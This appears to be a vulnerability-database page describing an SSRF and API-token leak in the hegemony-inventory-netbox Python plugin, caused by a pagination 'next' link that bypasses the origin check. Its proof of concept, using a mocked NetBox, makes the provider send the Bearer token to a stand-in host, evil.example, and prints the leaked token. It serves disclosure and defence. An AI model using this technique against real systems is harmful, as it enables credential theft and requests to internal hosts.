Vulnerability DatabaseGHSA-j7c5-jjc2-fx3w

GHSA-j7c5-jjc2-fx3w: 
Python vulnerability analysis and mitigation

Summary

The NetBox inventory provider follows the next link of each paginated NetBox reply. A link of the form /https://other.host/path skips the check that keeps pagination on the configured NetBox origin. The provider then sends the next request to other.host, with the NetBox API token in the Authorization header. The platform's outbound-URL check does not cover this request either.

Details

NetBoxInventoryProvider._request_url in plugins/inventory_netbox/src/hegemony_inventory_netbox/provider.py (lines 1063-1081 on main) checks the origin only when the link has a scheme or a host: parsed = urlparse(path_or_url) if parsed.scheme or parsed.netloc: ... # origin check return path_or_url return urljoin(base_url.rstrip("/") + "/", path_or_url.lstrip("/")) For /https://other.host/path, urlparse finds no scheme and no host, so the origin check is skipped. lstrip("/") then turns the link into https://other.host/path, and urljoin returns that absolute URL unchanged. The request goes out on the same HTTP client, so it carries the configured NetBox token. services.validate_url (the platform's outbound-URL policy, which blocks internal addresses) is called with the configured base URL only (line 926), not with the joined URL, so it does not stop the request either. The same code is in every release from v0.1.0 to v0.6.1. Found by fuzzing (target netbox_responses_fuzzer, not yet published).

Proof of concept

Run with the hegemony-inventory-netbox package installed. No network is used: an in-process mock stands in for NetBox. import asyncio, httpx from hegemony_inventory_netbox import provider as m from hegemony_inventory_sdk import ProviderCallContext, InventoryLimits seen = [] def handler(request): seen.append((str(request.url), request.headers.get("authorization"))) if request.url.host == "netbox.example": return httpx.Response(200, json={"results": [], "next": "/https://evil.example/steal"}) return httpx.Response(200, json={"results": [], "next": None}) real = httpx.AsyncClient m.httpx.AsyncClient = lambda **kw: real(transport=httpx.MockTransport(handler), **kw) class Services: limits = InventoryLimits(max_provider_pages=5, max_run_targets=5, max_preview_devices=5) async def resolve_secret_ref(self, ref, *, operation): return "secret-token-value" async def validate_url(self, url, *, operation): return "netbox.example" p = m.NetBoxInventoryProvider( provider_id="netbox:p", config={"url": "https://netbox.example", "token_ref": "{{ secret('vault://x') }}"}, services=Services(), ) asyncio.run(p.list_objects("device", context=ProviderCallContext(provider_id="netbox:p", operation="read_objects"))) for row in seen: print(row) Output: ('https://netbox.example/api/dcim/devices/?limit=100&ordering=id', 'Bearer secret-token-value') ('https://evil.example/steal', 'Bearer secret-token-value') The second request goes to evil.example and carries the token.

Impact

Server-side request forgery (SSRF) and credential exposure. Anyone who controls the replies of the configured NetBox (a malicious or compromised NetBox server, or a proxy in front of it) can: receive the configured NetBox API token at a host of their choice; and make the Hegemony worker send HTTP GET requests to any host it can reach, including internal addresses that the platform's outbound-URL policy would block. The reply is parsed as the next page of inventory, so its content can reach Hegemony users. Every Hegemony deployment with a NetBox inventory provider is affected. Deployments without one are not.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-m6fh-58r7-x697HIGH8.4
  • Python logoPython
  • fickling
NoYesDec 03, 2026
GHSA-ggjq-x9vq-v787HIGH8.3
  • Python logoPython
  • web-cheacker-mainditect
NoYesDec 03, 2026
GHSA-5gvf-7wqf-r4cvMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-vfhw-gfwp-vxfjMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-j7c5-jjc2-fx3wMEDIUM4
  • Python logoPython
  • hegemony-inventory-netbox
NoYesDec 03, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management